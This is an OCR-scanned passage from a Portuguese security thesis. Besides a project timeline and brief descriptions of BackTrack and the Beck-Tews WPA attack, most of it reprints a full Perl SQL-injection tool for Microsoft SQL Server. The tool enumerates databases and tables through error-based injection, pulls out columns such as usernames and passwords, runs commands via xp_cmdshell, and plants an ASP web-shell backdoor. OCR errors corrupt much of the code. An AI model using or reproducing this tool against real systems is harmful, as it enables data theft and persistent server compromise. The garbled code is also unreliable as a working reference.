resisténcia a mudanca); prever ataques externos assim como internos através do
estudo do trafego na rede; proclamar a instrucdo, formacdo e hierarquizacdo dos
individuos da organizacdo de forma a evitar praticas menos boas, recursos a
engenharia social, e de forma a reduzir o perimetro de afectacdo em caso de falha,

bem como imputar regras de nao repadio e confidencialidade da informacéo.

Em resumo, cada organizacdo deverd definir as suas proprias regras na protec¢do da
informacdo, usando uma relacdo custo/beneficio que se adeque ao grau de

confidencialidade da informacao, e ao valor disponivel para investir na sua seguranca.
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Anexo 1 Calendarizacao do projecto

Este projecto deu inicio em Novembro de 2008.

Apds reunido com o orientador, o Eng.° Antonio Costa, foi decidido seguir em frente

com esta ideia, sendo o trabalho de composicdo e defini¢do sido realizado durante o

més de Dezembro de 2008.

A composicdo do Estado da Arte foi elaborada entre Janeiro 2009 e 15 de Marco
2009.

1.1 Reunides de acompanhamento

As reunifes que ocorreram durante este trabalho foram:

Novembro 2008
Aluno, Orientador
ISEP

Exposi¢do do problema para avaliagdo como possivel tese

Dezembro 2008
Aluno, Orientador
ISEP

Estruturacdo da proposta de tese para aceitacéo

Janeiro — Marco 2009
Aluno, Orientador
ISEP

Concepcdo do documento de Estado da Arte
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Abril 2009
Aluno, Orientador
ISEP

Estuturacdo inicial do documento principal; pequenas remodela¢des de &mbito

Maio — Agosto 2009
Aluno, Orientador
ISEP

Montagem do sistema e acompanhamento documental

Setembro 2009
Aluno, Orientador
ISEP

Ultimas modificaces e optimizacéo do sistema
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Anexo 2 Acesso indevido a servicos

2.1 SQL Injection Script

Este € um script em Pearl para descobrir tabelas em servidores SQL Server da
Microsoft.

#!/usr/bin/perl

#

print "sqli_discover_tables v0.21 29Jan2009 kaneda 'n phildo, upgraded by redsand.\n";
# Perl Script written to discover tables on a Microsoft SQL server through SQL injection
# Additional support for asp backdoor injection via xp_cmdshell

#

# Todo:

# * check status codes from HTTP versions

# * custom error page checking

# * code cleanup

use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std,;

use Term::ReadLine;

# Useless at times, but why not...

$|=1;

my $status = getopts(‘c:GPbvi:p:a:');

($status == 0 or @ARGV < 1) and die(usage());
if(Sopt_G && $opt_P) { die(usage()); }
if(!$opt_G && !$opt_P) { die(usage()); }
if(1$opt_i) { die(usage()); }

my $customChar = "7384";
if($opt_C) {
$customChar = $opt_C;

# Define master URL, create LWP object and hash for variables

my %vars, $response, $masterurl, $browser, $cmd, $selectedcolumns;
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$masterurl = @ARGVI0];

# Check for additional variables to add, also ensure we define the variable we're supposed to pillage...

if($opt_a) {
@tmp = split(",",$opt_a);
foreach $tmpvar (@tmp) {
@tmp2 = split("=",$tmpvar);
$vars{$tmp2[0]} = $tmp2[1];
print "[+] Adding variable " . $tmp2[0] . " with value "™ . $tmp2[1] . "\n";

# Subroutines here

sub usage

{

print "usage: sqlidiscover [-G|-P] [-v] [-b] [-C custom'] [-phostname:port] [-cCookieName:CookieValue] [-
avarnamel=valuel,...,varname2=value2] [-ivarname] URL\n\n";

print "-G - use GET method\n";

print "-P - use POST method\n";

print "-a - additional variables i.e. -aaction=create,cid=12\n";

print "-b - bypass SQL, OS version and current user check\n®;

print "-i - variable to screw with i.e. -itxtPassword\n";

print "-v - verbose\n";

print "-p - use http/https proxy, format hostname:port i.e. -pmyproxy.com:8080\n";

print "-c - use browser cookie, format name:value i.e. -CASPSESSIONID:LCACPKILKFN\n";
print "-C - use specified character to trigger sql injection i.e. -C \"))\"\n\n";

print "URL - http://vuln.host.com/file.asp\n”;

exit;

sub interactive_help
{
print "sgliinjection interactive session help\n\n“;
print "exit / quit - leave sqli\n";
print "discover databases / discover dbs - discover all databases on system\n";
print "discover tables - discover all tables on system\n";
print "discover columns - discover all columns in current table\n";
print "select db/database [name] - change context to database [name]\n";
print "select table [name] - change context to table [name]\n";
print "fetch n,..,x - fetch data from columns n, etc. (i.e. fetch username,password).\n\n";
print "exec [command] - utilize xp_cmdshell and execute our command\n”;
print "backdoor - utilize xp_chdmshell and create an asp backdoor on the remote host.\n";

print "\n";
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sub sendcustom

{
my ($url2, $str) = @_;
my $req =";
# Use HTTP GET method
my $url = $url2 . "?$str";
$req = HTTP::Request->new(GET => $url);
my $name="; my $val = ";
$reg->header(User-Agent => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
$reg->header(Accept-Language => 'en-US');
$reg->header(Accept-Charset => 'iso-8859-1,*,utf-8');
$reqg->header(Accept-Encoding => 'gzip’);
$response = $browser->request($req);
die "Failed to get!" unless defined $response;
}

sub sendform

{

my $req =";

if($opt_G) {
# Use HTTP GET method
my $url = $masterurl . "?";
foreach $tmp (keys (%vars)) {
$url .= "$tmp=". $vars{$tmp} . "\&";
}
$url = substr($url, 0, -1);
$req = HTTP::Request->new(GET => $url);

my $name="; my $val =";

if($opt_c) {

($name, $val) = split(/:/,$opt_c);

$reg->header(Cookie => "$name=%$val");

}

$reg->header(User-Agent => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
$reg->header(Accept-Language => 'en-US’);

$reg->header(Accept-Charset => 'is0-8859-1,*,utf-8");
$reqg->header(Accept-Encoding => 'gzip");
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}else {
# Use HTTP POST method
if($opt_v) {
print "[D] MASTERURL: $masterurl\n";
foreach $tmp (keys (%vars)) {
print "[D] VARS[ $tmp ]: " . $vars{$tmp} . "\n";

}
$req = HTTP::Request->new(POST , $url, %vars);
$reg->uri($url);
my $name="; my $val =";
if($opt_c) {
($name, $val) = split(/:/,$opt_c);
$reg->header(Cookie => "$name=%val");
}
$reg->header(User-Agent => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
$reg->header(Accept-Language => 'en-US');
$req->header(Accept-Charset => 'iso-8859-1,*,utf-8");
$reqg->header(Accept-Encoding => 'gzip’);

$response = $hrowser->request($req);

die "Failed to get!" unless defined $response;

#' CREATE TABLE HACKTABLE (data text); BULK INSERT HACKTABLE FROM ",
sub sql_backdoor

{
my ($file) = "C:\\Inetpub\\scripts\\bd.asp";

my $cmd =" "

print "\n[*] Blindly creating our ASP backdoor: $file\n";

my $asp_bd =<<EOF;

echo "<"% > cmdasp.asp

echo Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile

echo On Error Resume Next

echo Set oScript = Server.CreateObject(™WSCRIPT.SHELL"")

echo Set oScriptNet = Server.CreateObject(*"WSCRIPT.NETWORK"")
echo Set oFileSys = Server.CreateObject(*"Scripting.FileSystemObject™")
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echo szCMD = Request.Form(™".CMD*")
echo If (szCMD ~<~> A*A") Then

echo szTempFile = MC:\"" & oFileSys.GetTempName()

echo Call oScript.Run(*“cmd.exe /c M A& szCMD "& N ~> A A& szTempkFile,0,True)

echo Set oFle = oFileSys.OpenTextFile(szTempFile,1,False,0)

echo End If

echo "%">

echo "<FORM action="""<"%= Request.ServerVariables(""URL"") "%">"" method=""POST ">

echo "<input type=text name="".CMD"" size=70 value="""<"\%= szCMD "%/ >"\"">

echo ~<input type=submit value=""Run”"">

echo "</FORM">

echo "<PRE">

echo "<"%

echo If (IsObject(oFile)) Then

echo On Error Resume Next

echo Response.Write Server.HTMLEncode(oFile.ReadAll)

echo oFile.Close

echo Call oFileSys.DeleteFile(szTempFile, True)

echo End If

echo ">

echo "<"PRE">

EOF

# setup our cmd post

#

$cmd = "copy c:\\winnt\\system32\\cmd.exe c:\\Inetpub\\scripts\\"’;
$vars{$opt_i} =" '%01 EXEC master..xp_cmdshell $cmd -- sp_password ";
sendform();
if ($response->content =~ /SQL Server/igm) {
$vars{$opt_i} = "$customChar %01 EXEC master..xp_cmdshell $cmd -- sp_password ";
sendform();

if ($response->content =~ A\[Microsoft\].*SQL Server/i) {

$cmd = "copy c:\\windows\\system32\\cmd.exe c:\\Inetpub\\scripts\\"’;
$vars{$opt_i} =" '%01 EXEC master..xp_cmdshell $cmd -- sp_password ";
sendform();
if ($response->content =~ /SQL Server/igm) {

$vars{$opt_i} = "$customChar %01 EXEC master..xp_cmdshell $cmd -- sp_pas

sword ";

sendform();
if ($response->content =~ A\[Microsoft\].*SQL Server/i) {

return O;
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my $url = $masterurl;

$url =~ s/(\.(HVFNLN;

my $i=0;
foreach $k (split(/An+/, $asp_bd)) {

if($i== 0) {
$cmd = "$k > $file”;
$i=1;

}else {

$cmd = "$k >> $file";

sendcustom($url . "/scripts/cmd.exe", $cmd);

$cmd = "del c:\\Inetpub\\scripts\\cmd.exe™;

$vars{$opt_i} =" '%01 EXEC master..xp_cmdshell $cmd -- sp_password ";

sendform();

if ($response->content =~ /SQL Server/igm) {
$vars{$opt_i} = "$customChar %01 EXEC master..xp_cmdshell $cmd -- sp_password ";
sendform();
if ($response->content =~ A\[Microsoft\].*SQL Server/i) {

return O;

print "[*] Our backdoor should be located on the database at $url/scripts/bd.asp\n”;

sub sqgl_xp_cmdshell

{
my ($cmd) = @_;

print "\n[*] Blindly executing: $cmd\n";

$vars{$opt_i} ="' %01 EXEC master..xp_cmdshell ‘$cmd' -- sp_password ";

sendform();

if ($response->content =~ /Syntax error converting the (.*) value \'(.*)\' to a column of data type/) {

}else {
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$vars{$opt_i} = "$customChar %01 EXEC master..xp_cmdshell '$cmd' -- sp_password ";
sendform();
if ($response->content =~ /SQL Server/) {

print "[!] Unable to execute sequence: $cmd\n\n";

sub sql_enum_db

{

print "\n[*] Enumerating databases\n";

# Initial SQL query

$vars{$opt_i} = ™ or 1 in (select min(name) from master.dbo.sysdatabases where name > '')--

sp_password"”;

sendform();

if ($response->content =~ /Syntax error converting the (.*) value \'(.*)\' to a column of data type/) {
print "[+] Database search: found: (0) $2\n";
$db_name = $2;
$dbs[0] = $db_name;

}else {

$vars{$opt_i} = "$customChar or 1 in (select min(name) from master.dbo.sysdatabases where

name > ".")-- sp_password";

\n";

sendform();

if ($response->content =~ /Syntax error converting the (.*) value \'(.*)\' to a column of data type/)

print "[+] Database search: found: (0) $2\n";
$db_name = $2;
$dbs[0] = $db_name;

}else {

print "[X] Database search: failed to return table name, exiting

return;

$flag = 0;
while($flag = 1) {
$dbcount++;

$vars{$opt_i} = ™ or 1 in (select min(name) from master.dbo.sysdatabases where name >

‘$db_name’)-- sp_password";

sendform();
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if ($response->content =~ /Syntax error converting the (.*) value \'(.*)\' to a column of data type/)

print "[+] Database search: found: (" . $dbcount . ") $2\n";
$db_name = $2;
$dbs[$dbcount] = $db_name;

}else {

$vars{$opt_i} = "$customChar or 1 in (select min(hname) from master.dbo.sysdatabases where
name > '$db_name')-- sp_password";

sendform();
if ($response->content =~ /Syntax error converting the (.*) value \'(.*)\' to a column of data type/) {
print "[+] Database search: found: (" . $dbcount . ") $2\n";
$db_name = $2;
$dbs[$dbcount] = $db_name;

}else {

print "[+] Database search finished, $dbcount found\n";

$flag = 1;

sub sql_enum_tables

{

print "\n[*] Enumerating tables\n";

# Initial SQL query

$vars{$opt_i} = ™ or 1 in (select min(name) from sysobjects where xtype='U' and name > '')--
sp_password";

sendform();

if ($response->content =~ /Syntax error converting the (.*) value \'(.*)\' to a column of data type/) {
print "[+] Table search: found: (0) $2\n";
$table_name = $2;
$tables[0] = $table_name;

}else {

$vars{$opt_i} = "$customChar or 1 in (select min(name) from sysobjects where xtype='U' and name >
'.")-- sp_password";

sendform();

if ($response->content =~ /Syntax error converting the (.*) value \'(.*)\' to a column of data type/) {
print "[+] Table search: found: (0) $2\n";
$table_name = $2;

$tables[0] = $table_name;

}else {

print "[X] Table search: failed to return table name, exiting\n";
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return;

}

$flag = 0;
while($flag != 1) {
$tablecount++;

$vars{$opt_i} = ™ or 1 in (select min(name) from sysobjects where xtype='U' and name >
‘$table_name')-- sp_password";

sendform();

if ($response->content =~ /Syntax error converting the (.*) value \'(.*)\' to a column of data type/)

print "[+] Table search: found: (" . $tablecount . ") $2\n";
$table_name = $2;
$tables[$tablecount] = $table_name;

}else {

$vars{$opt_i} = "$customChar or 1 in (select min(name) from sysobjects where xtype='U' and name >
‘$table_name')-- sp_password";

sendform();

if ($response->content =~ /Syntax error converting the (.*) value \'(:*)\' to a column of data type/) {
print "[+] Table search: found: (" . $tablecount . ") $2\n";
$table_name = $2;
$tables[$tablecount] = $table_name;

}else {

print "[+] Table search finished, $tablecount found\n";

$flag = 1;

sub sqgl_enum_columns
{
# Fetch arguments for subroutine
my($db_name, $table_name) = @_;
if((!$table_name) || ($table_name eq "unknown_table")) {
$table_name = &sgl_enum_currenttable;
print "\n[*] Enumerating columns for table $table_name (autodiscover)\n";
}else {

print "\n[*] Enumerating columns for table $table_name\n";

# Initial SQL query

$vars{$opt_i} = " or 1 in (select min(name) from syscolumns where id=(select id from sysobjects where
name='$table_name'))-- sp_password";

sendform();
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if (fresponse->content =~ /value '(.*)' to a column of/) {
print "[+] Column search: found: (0) $1\n";
$column_name = $1;
$columns[0] = $column_name;

}else {

$vars{$opt_i} = "$customChar or 1 in (select min(name) from syscolumns where id=(select id from
sysobjects where name="$table_name'))-- sp_password";

sendform();

if (fresponse->content =~ /value '(.*)' to a column of/) {
print "[+] Column search: found: (0) $1\n";
$column_name = $1;

$columns[0] = $column_name;

}else {

print "[X] Column search: failed to return column name, exiting\n";

return;

$flag = 0;

$columncount = 0;

$tmp = $tmp2 ="

while($flag != 1) {
$columncount++;

$vars{$opt_i} =" or 1 in (select min(name) from syscolumns where id=(select id from sysobjects
where name="$table_name') and name > '$column_name')-- sp_password";

sendform();
if ($response->content =~ /value '(.*)' to a column of/) {
$tmp2 = $1;
print "[+] Column search: found: (" . $columncount . ") $tmp2\n";
$column_name = $tmp2;
$columns[$columncount] = $column_name;
}else {

$vars{$opt_i} = "$customChar or 1 in (select min(name) from syscolumns where id=(select id from
sysobjects where name="$table_name') and name > '$column_name')-- sp_password";

sendform();
if ($response->content =~ /value '(.*)' to a column of/) {
$tmp2 = $1;
print "[+] Column search: found: (" . $columncount . ") $tmp2\n";
$column_name = $tmp2;
$columns[$columncount] = $column_name;

}else {

print "[+] Column search finished, $columncount found\n";
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$flag = 1;

sub sql_fetchdata
{
#
# DIRTY HACK: Oh man, did I fuck this one up...
#
my($db_name, $table_name, $tmp) = @_;
my %tmp2;
print "[*] Retrieving information for table $db_name\.$table_name\n";

@tgtcolumns = split(/,/, $tmp);

if($#tgtcolumns < 0) {
print "[W] Warning: no columns selected for data retrieval\n";

return;

$tmp = $#tgtcolumns + 1;

print "[+] $tmp columns selected for data retrieval\n”;

for($i=0;$i<$#tgtcolumns+1;$i++) {
print"| " . $tgtcolumns[$i] . " ";
$tmp2{$tgtcolumns[$i]} = "a";

}
print "\n";
$flag = 0;

while($flag != 1) {
for($i=0;$i<$#tgtcolumns+1;$i++) {

$column_name = $tgtcolumns[$i];

if($i == 0) {
$vars{$opt_i} = ™ and 1 in (select min($column_name) from $table_name
where $column_name > " . $tmp2{$tgtcolumns[0]} . "')-- sp_password";
}else {
$vars{$opt_i} = ™ and 1 in (select min($column_name) from $table_name
where $tgtcolumns[0] = " . $tmp2{$tgtcolumns[0]} . ")-- sp_password";
}
sendform();

if (response->content =~ /error converting the varchar value '(.*)'/smig) {

$tmp = $1;
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print “| $tmp *;
$tmp2{S$tgtcolumns[$i]} = $tmp;

} elsif($response->content =~ /[SQL Server]Syntax error converting the .* value '(.*)' to
a column of data type/smig) {

$tmp = $1;
print | $tmp ";

}else {

$column_name = $tgtcolumns[$i];
if($i == 0) {

$vars{$opt_i} = "$customChar and 1 in (select min($column_name) from $table_name where
$column_name > " . $tmp2{$tgtcolumns[0]} . ™')-- sp_password";

}else {

$vars{$opt_i} = "$customChar and 1 in (select min($column_name) from $table_name where
$tgtcolumns[0] =" . $tmp2{$tgtcolumns[0]} . "')-- sp_password";

}

sendform();

if (Bresponse->content =~ /error converting the varchar value '(.*)'/smig) {
$tmp = $1;
print | $tmp *;
$tmp2{$tgtcolumns[$i]} = $tmp;

} elsif($response->content =~ /[SQL Server]Syntax error converting the .* value '(.*)' to
a column of data type/smig) {

$tmp = $1;
print "| $tmp *;
} elsif($i == 0) {
$flag = 1;
break;
}
}
}
print "\n";

sub sql_enum_currenttable
{
$vars{$opt_i} = " having 1=1-- sp_password";
sendform();
if ($response->content =~ /Column '(.*)\.(.*)" is invalid in the select list/) {

return $1;

106



}else {
$vars{$opt_i} = "$customChar having 1=1-- sp_password";
sendform();

if ($response->content =~ /Column '(*)\.(.*)" is invalid in the select list/) {

return $1;

}else {
print "[X] Current table search: failed, exiting\n®;
exit;

}

# Info before we start the real work

$browser = LWP::UserAgent->new;

$browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1));
# Proxy support
if($opt_p) {

$browser->proxy(['http’, 'https'] => $opt_p);

print "[*] HTTP/HTTPS proxy set to $opt_p\n"“;

}
if($opt_c) {

my $name = 'name’;

my $val = ";

($name, $val) = split(":", $opt_c);

print "[*] HTTP cookie set to $name=$val\n";
}

$browser->timeout(30);

print "[*] URL to process: $masterurl\n[*] Abusing '$opt_i"...\n\n";

# Determine SQL Server and OS version

$vars{$opt_i} =" or 1 in (select \@\@version) -- sp_password";

if($opt_b) {

sendform();

$req = $response->content;
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if ($req =~ /value \'(.*) \(/) {
print "[+] SQL version: $1\n";

}else {
$vars{$opt_i} = "$customChar or 1 in (select \@\@version) -- sp_password";
sendform();
$req = $response->content;
if ($req =~ /value \'(.*) \(/smi) {
print “[+] SQL version: Unable to determine SQL version\n";
exit;
}
}

# try each again without the '
$req = $response->content;
if ($req =~ /Edition on (Windows .*)\n' to a column of data/smi) {
print "[+] OS version: $1\n";
}else {
print "[+] OS version: Unable to determine OS version\n";

exit;

$vars{$opt_i} =" or 1 in (select current_user)-- sp_password";

sendform();

#Syntax error converting the nvarchar value 'dbo’ to a column of data type int

if ($response->content =~ /Syntax error converting the .*value (.*) to a column of data type/smi) {
my $user = $1;
$user =~ s/'llg;

print "[+] Current user: $user\n\n";

}else {
$vars{$opt_i} = "$customChar or 1 in (select current_user)-- sp_password";
sendform();
#print $response->content;
if ($response->content =~ /Syntax error converting the .*value (.*) to a column of data type/smi) {
my $user = $1;
$user =~ s/'/lg;
print “[+] Current user: $user\n\n";
}else {
print "[+] Current user: Unable to determine\n\n";
exit;
}
}
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$context = "";
$currdb = "unknown_db";
if(!$opt_b) { $currtable = &sqgl_enum_currenttable; } else { $currtable = "unknown_table"; }

$term = Term::ReadLine->new('sqli');

while(1) {
PROMPTME:
print "\n";
$prompt = "$context$currdb.$currtable> *;
$tmp = $term->readline($prompt, ™);
$cmd = $tmp;

if(($cmd eq "quit") || ($cmd eq "exit")) {

exit;

if($cmd eq "help”) {
&interactive_help;

goto PROMPTME;

if($cmd eq "reload") {

reload;

if($cmd eq "discover columns") {
&sql_enum_columns($currdb, $currtable);

goto PROMPTME;

if($cmd eq "discover tables") {
&sql_enum_tables($currdb);
goto PROMPTME;

if(($cmd eq "discover dbs") || ($cmd eq "discover databases")) {
&sgl_enum_db;
goto PROMPTME;

if($tmp =~ /"select (.*) (*)/) {
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if($1 eq "db") || ($1 eq "database")) {
print "Changing context to $context$2.$currtable\n”;
$currdb = $2;
goto PROMPTME;

}else {
$currtable = ($2) ? $2 : $1,;
print "Changing context to $context$currdb.$currtable\n”;
goto PROMPTME;

}

if($tmp =~ /etch (.*)/) {
print "[+] Using columns $1\n";
&sql_fetchdata($currdb,$currtable,$1);
goto PROMPTME;

if($cmd =~ /exec (.*)/) {
&sql_xp_cmdshell($1);
goto PROMPTME;

if($cmd =~ /backdoor/) {
&sql_backdoor();
goto PROMPTME;
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Anexo 3 Outros Projectos

Este anexo apresenta brevemente algumas das aplicacbes testadas durante o
desenvolvimento deste projecto, e explicado o seu modo de funcionamento e

interaccdo para atingir os objectivos a que se propdem.

3.1 Backtrak 3

O Backtrak surge sob a forma de um sistema operativo Linux customizado com
diversos aplicativos funcionando em conjunto com o objectivo final de decifrar redes
sem fios 802.11. Este “quase” manual do hacker pretende possibilitar a que o mais
inexperiente utilizador fique habilitado a usufruir ilicitamente a uma rede sem fios

protegida.

i
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Figura 71 — Ambiente Backtrak
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Surgiu recentemente uma nova versdo deste projecto, agora o “Backtrak 4” ja com
software actualizado, controladores de hardware mais abrangentes, bem como a

possibilidade de decifrar mais tipos de encriptagéo.

http://www.remote-exploit.org/backtrack download.html

;SC;:.:.'J;..-

! } @ Information Gathering +

1) Internet ¥ @ Network Mapping 4
4 Services * @ Wulnerability Identification 4
© Wine * @ web Application Analysis 4
% Graphics  « Radio Network Analysis 4
<0 Multimedia Y @ Penetration -
“ System Y @ Privilege Escalation k
| ew Utilities * & Maintaining Access 4
% KSnapshot 4 Digital Forensics 5
Action | « Reverse Engineering P

s Settings » 4 Voice Over IP "
@ system Menu } @ Miscellaneous "

Run Command...
= Lock Session
w Log Out...

Tewm@a- ¥ E @as 1 2 oMY

Figura 72 — Opc¢Oes Bactrak 4

Como € possivel ver nesta captura de ecra do Backtrak 4, sdo imensas as opcdes que 0
utilizador tem a disposicdo para adquirir todo o tipo de informacéo que a partida so

deveria estar disponivel a utizadores com as devidas permissdes.
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3.2 WPA2 c/ TKIP (Teoérico)

Este projecto, apresentado durante o més de Agosto de 2009 num documento
académico de estudantes japoneses, demonstra a possibilidade de decifrar chaves
protegidas pelo algoritmo TKIP em redes wireless tipo WPA2. Os estudantes
comprovam a fragilidade do algoritmo, documentando as expressdes que permitem

decifrar o mesmo em cerca de um minuto.

A estratégia por tras deste projecto envolve um ataque Beck-Tews sobre MITM (Man-
In-The-Middle) e consiste em capturar um pacote ARP da rede sem fios gerar um

pacote falsificado que é retornado ao emissor.
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Figura 73 — Ataque MITM sobre 802.11

Os estudantes japoneses demonstram entdo como conseguem decifrar cerca de 37%

dos pacotes ARP em menos de 1 minuto.

2o\
( 5 ) ~ 0.369.

Figura 74 — Ataque 802.11 WPA em 1 minuto
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O ataque Beck-Tews foi documentado por Martin Beck e Erik Tews, dois alemaes
que conseguiram decifrar o WEP e dos pioneiros a conseguir decifrar o WPA.

Noticia:
http://www.networkworld.com/news/2009/082709-new-attack-cracks-common-wi-
fi.html

Documentos:
“Practical attacks against WEP and WPA”, Martin Beck, Erik Tews.

“A Practical Message Falsification Attack on WPA”, Toshihiro Ohigashi and
Masakatu Morii.
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